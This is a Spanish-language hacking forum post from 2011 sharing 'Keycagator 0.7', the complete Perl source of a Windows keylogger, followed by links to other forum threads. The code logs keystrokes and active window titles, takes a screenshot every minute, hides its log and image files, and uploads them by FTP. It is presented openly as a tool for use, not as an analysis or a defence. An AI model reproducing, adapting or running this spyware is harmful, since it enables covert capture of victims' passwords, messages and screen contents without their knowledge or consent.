[Perl] Keycagator 0.7

  • 0 Respuestas
  • 1369 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Perl] Keycagator 0.7

  • en: Julio 03, 2011, 09:47:14 pm
Hola a todos , aca les traigo la nueva version de este keylogger
En esta version ya es aceptable con las siguientes opciones

  • Captura letras reconociendo mayusculas y minusculas[/li]
  • Captura ventanas en la que se trabaja[/li]
  • Toma fotos del sistema cada 1 minuto[/li]
  • Sube logs y fotos tomadas por FTP[/li]
  • Oculta rastros[/li]

    Código: Perl
    1. #!usr/bin/perl
    2. #KeyCagator 0.7 (C) Doddy Hackman 2011
    3. #
    4.  
    5. use Win32::API;
    6. use Win32::GuiTest qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
    7. use Win32::Clipboard;
    8. use threads;
    9. use Net::FTP;
    10. use Win32::File;
    11. use Cwd;
    12.  
    13. my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
    14. my $tengo = 0;  
    15.  
    16. #if ($^O eq 'MSWin32') {
    17. #use Win32::Console;
    18. #Win32::Console::Free();
    19. #}
    20.  
    21. hideit($0,"hide");
    22.  
    23. subirftp("logs.txt","logs.txt");
    24.  
    25. my $comando1 = threads->new(\&capture_windows);
    26. my $comando2 = threads->new(\&capture_keys);
    27. my $comando3 = threads->new(\&capture_screen);
    28.  
    29. $comando1->join();
    30. $comando2->join();
    31. $comando3->join();
    32.  
    33.  
    34. sub capture_windows {
    35.  
    36. while(1) {
    37.  
    38. my $win1 = GetForegroundWindow();        
    39. my $win2 = GetForegroundWindow();
    40.  
    41. if($win1 != $win2){
    42. my $nombre = GetWindowText($win1);
    43. chomp($nombre);
    44. if ($nombre ne "") {
    45. #print "\n\n[".$nombre."]\n\n";
    46. savefile("logs.txt","\n\n[".$nombre."]\n\n");
    47. }
    48. }
    49. }
    50. }
    51.    
    52. sub capture_keys {
    53.  
    54. while(1) {
    55.  
    56. my $test1;
    57. my $test2;
    58.  
    59. for my $num(0x30..0x39) { #Numbers  
    60.  
    61. if (dame($num)) {
    62. #print "number : ".chr($num)."\n";
    63. savefile("logs.txt",chr($num));
    64. }
    65. }
    66.  
    67. if (dame(0x14)) {
    68. $test1 = 1;
    69. $tengo++;
    70. }
    71.  
    72. for my $num(0x41..0x5A) {   #Words
    73.  
    74. if (dame($num)) {
    75.  
    76. if (dame(0x20)) {
    77. savefile("logs.txt"," ");
    78. }
    79.  
    80. if (dame(0x32)) {
    81. savefile("logs.txt","\n[enter]\n\n");
    82. }
    83.  
    84. unless (verpar($tengo) eq 1) {
    85. #print "MAYUSCULA : ".chr($num)."\n";
    86. savefile("logs.txt",chr($num));
    87. }
    88.  
    89. if (dame(0x10) or dame(0xA0) or dame(0xA1)) {
    90. #print "MAYUSCULA : ".chr($num)."\n";
    91. $test2 = 1;
    92. }
    93.  
    94. unless ($test1 eq 1 or $test2 eq 1) {
    95. if ($num >= 0x41) {
    96. if ($num <= 0x5A) {
    97. if (verpar($tengo) eq 1) {
    98. #print "MINUSCULA : ".chr($num+32)."\n";
    99. savefile("logs.txt",chr($num+32));
    100. }
    101. }
    102. }
    103. }
    104. }
    105. }
    106. }
    107. }
    108.  
    109. sub capture_screen {
    110.  
    111. $numero = 0;
    112.  
    113. while(1) {
    114.  
    115. sleep 60;
    116.  
    117. $numero++;
    118.  
    119. SetForegroundWindow(1);
    120. SendKeys('%{PRTSCR}');
    121.  
    122. my $a = Win32::Clipboard::GetBitmap();
    123.  
    124. open (FOTO,">".$numero.".bmp");
    125. binmode(FOTO);
    126. print FOTO $a;
    127. close FOTO;
    128.  
    129. hideit($numero.".bmp","hide");
    130. subirftp($numero.".bmp",$numero.".bmp");
    131. }
    132. }
    133.  
    134. sub dame {
    135. return($come->Call(@_) & 1);
    136. }
    137.  
    138. sub savefile {
    139.  
    140. open (SAVE,">>".$_[0]);
    141. print SAVE $_[1];
    142. close SAVE;
    143.  
    144. hideit($_[0],"hide");
    145.  
    146. }
    147.  
    148. sub hideit {
    149. if ($_[1] eq "show") {
    150. Win32::File::SetAttributes($_[0],NORMAL);
    151. }
    152. elsif ($_[1] eq "hide") {
    153. Win32::File::SetAttributes($_[0],HIDDEN);
    154. }
    155. else {
    156. print "error\n";
    157. }
    158. }
    159.  
    160. sub subirftp {
    161.  
    162. if ($ser = Net::FTP->new("localhost")) {
    163. if ($ser->login("doddy","123")) {
    164. print "subi".getcwd()."/".$_[0]."\n";
    165. if ($ser->put(getcwd()."/".$_[0],$_[1])) {
    166. return true;
    167. }
    168. }
    169. $ser->close;
    170. }
    171.  
    172.  
    173. }
    174.  
    175. sub verpar{
    176. return ($_[0] % 2 == 0) ? "1" : "2";
    177. }
    178.  
    179.  
    180. #Credits : to explorer for helpme with the function verpar()
    181. #Mail : lepuke[at]hotmail[com]
    182. #Blog : doddy-hackman.blogspot.com
    183. # ¿ The End ?
    184.  
« Última modificación: Marzo 14, 2015, 10:03:20 am por Expermicid »

 

Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 5330
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 3473
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 2599
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 2606
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 3015
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d